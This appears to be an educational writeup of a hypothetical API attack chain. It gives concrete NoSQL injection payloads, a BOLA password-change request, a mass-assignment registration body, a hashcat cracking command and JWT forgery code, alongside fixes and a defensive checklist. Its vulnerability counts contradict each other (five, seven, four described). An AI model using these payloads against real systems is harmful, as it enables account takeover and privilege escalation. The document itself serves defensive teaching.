Five vulnerabilities. One chain. A complete path from anonymous visitor to admin panel — and what every developer building multi-tier APIs needs to understand.
Educational Writeup · Web Security · NoSQL Injection · BOLA · Mass Assignment · JWT · Hypothetical Attack Chain
NoSQL Injection → BOLA → Admin Takeover
Mass Assignment → Privilege Escalation
Weak JWT Secret → Token Forgery
I want to walk you through an attack chain that has an interesting pattern and could be very easy to miss.
Not against one specific target. Against a type of target — the B2B SaaS platform built fast, shipped fast, and secured as an afterthought. MongoDB on the backend, JWT auth, tiered user roles, a REST API that the frontend only uses half of.
These platforms share a particular failure mode: the security assumptions made at layer one quietly invalidate every control at layer two. One exposed field feeds the next misconfigured endpoint. A single unguarded parameter becomes a skeleton key.
Here's what that looks like in practice, from first probe to full administrator access.
The hypothetical target
Imagine a B2B platform with four user tiers: anonymous visitors, registered free users, B2B partner accounts, and administrators. MongoDB backend. HS256 JWT authentication. A REST API that exposes more surface area than the frontend suggests.
The kind of architecture that looks clean from the outside. The kind where access control failures compound because there are multiple trust boundaries and multiple assumptions baked into the design.
Vulnerability 1 + 2: Admin account takeover — CVSS 9.1
This is a two-step chain. Neither step alone produces a critical. Together, they give you the keys to the whole platform.
Step 1 — NoSQL injection as an ID oracle
The application exposes a user lookup endpoint. It accepts a username in the request body, queries MongoDB, and returns profile data. Standard pattern. Except the developer passed the user input directly into the query without type-checking or sanitization.
MongoDB queries accept operator objects — $regex, $gt, $in, $where — in place of string values. If the backend doesn't validate that the incoming value is actually a string before it hits the database, you can inject these operators directly:
POST /api/v1/users/lookup
Content-Type: application/json
{
"username": { "$regex": "^admin", "$options": "i" }
}The database evaluates this as: find a user whose username starts with "admin", case-insensitive. It returns a match. And because the developer didn't think carefully about what the response object should contain, the returned profile includes the account's internal MongoDB _id.
That _id is the critical detail. It's not a password. It's not obviously sensitive. Most developers know not to return passwords — fewer think about what an internal database identifier enables when the rest of the API treats those IDs as unguessable secrets.
You can extend the injection to enumerate systematically:
{ "username": { "$regex": "^admin" } } → _id: "64f3a..."
{ "username": { "$regex": "^superadmin" } } → _id: "64f3b..."
{ "role": { "$in": ["admin", "administrator"] } } → multiple _idsNo authentication. No rate limiting. No error. Just silent enumeration of administrator account identifiers.
Step 2 — BOLA on the password-change endpoint
Now you have admin account IDs. The question is what to do with them.
The password-change endpoint accepts a userId in the request body and updates that account's credentials. The logic checks that the request carries a valid JWT — that the caller is authenticated — but never checks whether the authenticated user is authorized to modify that specific account.
POST /api/v1/users/change-password
Authorization: Bearer <low_privilege_token>
Content-Type: application/json
{
"userId": "64f3a...",
"newPassword": "Attacker@12345"
}
HTTP/1.1 200 OK
{"message": "Password updated successfully"}This is BOLA — Broken Object Level Authorization. The server answers one question (is this user logged in?) and forgets to ask the one that matters (does this user own this object?).
Combined with the NoSQL injection that silently hands you administrator IDs, the full chain runs like this:
[No auth]
→ Inject $regex into lookup endpoint
→ Extract _id of target administrator account
→ Register free account → obtain low-privilege JWT
→ POST /change-password with admin _id + chosen password
→ Login as administrator
→ Full platform controlTwo API calls separate an anonymous visitor from the admin panel. The authentication layer was real. The authorization layer was a fiction.
Vulnerability 3: Mass assignment privilege escalation — CVSS 8.6
This one is independently critical. It doesn't require the injection chain. Any anonymous user can exploit it from scratch.
The registration endpoint accepts a JSON body. The developer, using an ORM or document model, passes req.body directly to the model constructor — a pattern that's fast to write and catastrophic to ship:
// The dangerous pattern
const user = new User(req.body);
await user.save();When the entire request body is bound to the model, every field defined on the model schema becomes writable — including fields that should be server-controlled. Add a role parameter to the registration request that the frontend form never exposes:
POST /api/v1/auth/register
Content-Type: application/json
{
"name": "Test User",
"email": "test@example.com",
"password": "Password123!",
"role": "b2b_partner"
}The server accepts it. The newly registered account carries B2B partner privileges — wholesale pricing, partner-specific inventory, bulk ordering access — without any application process, approval, or payment.
The blast radius extends beyond access control. Wholesale pricing tiers represent negotiated commercial relationships. An attacker with mass assignment access can harvest the complete margin structure of every product on the platform — supplier costs, partner margins, retail markups — all exposed through APIs that the frontend simply chose not to render.
Vulnerability 4: Weak JWT secret — CVSS 7.3
The platform uses HS256 JWT tokens — symmetric signing, where the same key signs and verifies every token. The entire model depends on that key being secret and sufficiently random.
During development, someone set a short, memorable signing secret. It never got rotated before the platform shipped. A captured token, run through hashcat against a standard wordlist, cracks in minutes:
hashcat -a 0 -m 16500 <captured_jwt> /usr/share/wordlists/rockyou.txtWith the signing secret, you can forge tokens with arbitrary payloads:
import jwt
payload = {
"sub": "64f3a...", # any user ID from the NoSQL oracle
"role": "administrator",
"iat": <now>,
"exp": <future>
}
forged = jwt.encode(payload, cracked_secret, algorithm="HS256")Any endpoint that reads authorization claims from the token without independently verifying them against the database will treat this as a legitimate administrator session. The BOLA chain gets you admin access through credential reset. The forged JWT gets you there through a completely different route — no password change required, no trace in the auth logs.
Two independent paths to the same outcome. That's what makes this chain resilient: patching one vulnerability doesn't close the door.
The complete chain
STAGE 1 — RECON
└─ Enumerate API endpoints
└─ Identify MongoDB backend from error messages + response shapes
└─ Observe _id fields leaking in profile responses
STAGE 2 — ID EXTRACTION
└─ Inject $regex operator into lookup endpoint
└─ Extract internal _id values for admin-role accounts
STAGE 3 — INITIAL ACCESS
└─ Register free account with "role": "b2b_partner" via mass assignment
└─ Obtain authenticated session with elevated privileges
STAGE 4 — CREDENTIAL TAKEOVER
└─ POST /change-password with extracted admin _id
└─ Set attacker-controlled password on administrator account
STAGE 5 — FULL COMPROMISE
└─ Login as administrator with new credentials
└─ Alternatively: forge JWT with cracked secret + admin role claim
STAGE 6 — PERSISTENCE
└─ Access wholesale pricing, partner data, order management
└─ Business logic flaws extend reach into financial manipulationSeven distinct vulnerabilities. One coherent chain. Every step made possible by the one before it.
The fixes
NoSQL injection — validate input types before they reach the database. A string field should only ever accept a string. Reject objects entirely. Use a schema validator like Joi or Zod as the first gate:
// Wrong — raw input hits MongoDB directly
const user = await User.findOne({ username: req.body.username });
// Right — validate type and shape first
const schema = Joi.object({
username: Joi.string().alphanum().max(50).required()
});
const { username } = await schema.validateAsync(req.body);
const user = await User.findOne({ username });BOLA — never derive the target of a sensitive operation from the request body. Always pull the acting user's identity from the verified session:
// Wrong — the client decides whose password changes
const { userId, newPassword } = req.body;
await User.updatePassword(userId, newPassword);
// Right — the session decides
const userId = req.user.id; // from verified JWT, not request body
await User.updatePassword(userId, req.body.newPassword);Mass assignment — explicitly allowlist every field that users are permitted to set. Never pass req.body directly to a model constructor:
// Wrong
const user = new User(req.body);
// Right — destructure only what's safe, hardcode the rest
const { name, email, password } = req.body;
const user = new User({ name, email, password, role: 'user' });JWT secret — generate with a cryptographically secure source. 256 bits minimum. Store in environment variables. Rotate before any production deployment. Never verify role claims from the token alone on sensitive operations — check against the database:
# Generate a proper secret
node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
// Verify the token
jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'] });
// Then verify the claim against the DB — never trust the token alone
const user = await User.findById(decoded.sub);
if (user.role !== 'administrator') throw new Error('Access denied');Why this pattern keeps appearing
Each individual mistake here is well-documented. NoSQL injection, BOLA, mass assignment, weak secrets — these aren't obscure edge cases. They're in every OWASP top ten list. They've been written about for years.
And yet they appear together, in production, compounding each other, because they're made at different points in the development lifecycle by different people operating under different assumptions. The developer who wrote the lookup endpoint didn't know a password-change endpoint would trust its output. The developer who wrote registration didn't think about what happened if someone added an extra field. Nobody audited the JWT secret strength before go-live.
Vulnerabilities don't live in isolation. Attackers chain them. Security reviews need to think the same way — not just "is this endpoint safe?" but "what does this endpoint enable if something else is already broken?"
The checklist:
✓ Validate input types before any database query — reject objects in string fields
✓ Always derive sensitive operation targets from the session, never the request body
✓ Allowlist writable model fields explicitly — never bind req.body directly
✓ Generate JWT secrets with crypto.randomBytes(32) — never dictionary strings
✓ Verify role claims against the database on every privileged operation
✓ Rate limit all sensitive endpoints — password reset, OTP, login
✓ Audit what your API returns — strip internal IDs and fields the caller shouldn't see
✓ Test every endpoint with a low-privilege token before shippingThink in chains. Build defenses in chains. A single fix that closes one step while leaving the others open gives a false sense of security — the attacker just takes a different route to the same destination.
This is a hypothetical attack chain constructed for educational purposes, illustrating vulnerability classes that appear frequently in real-world API security assessments. No specific system or organization is referenced. All code examples are simplified for clarity.
Tags: nosql-injection · bola · idor · mass-assignment · jwt · api-security · web-security · appsec · mongodb · owasp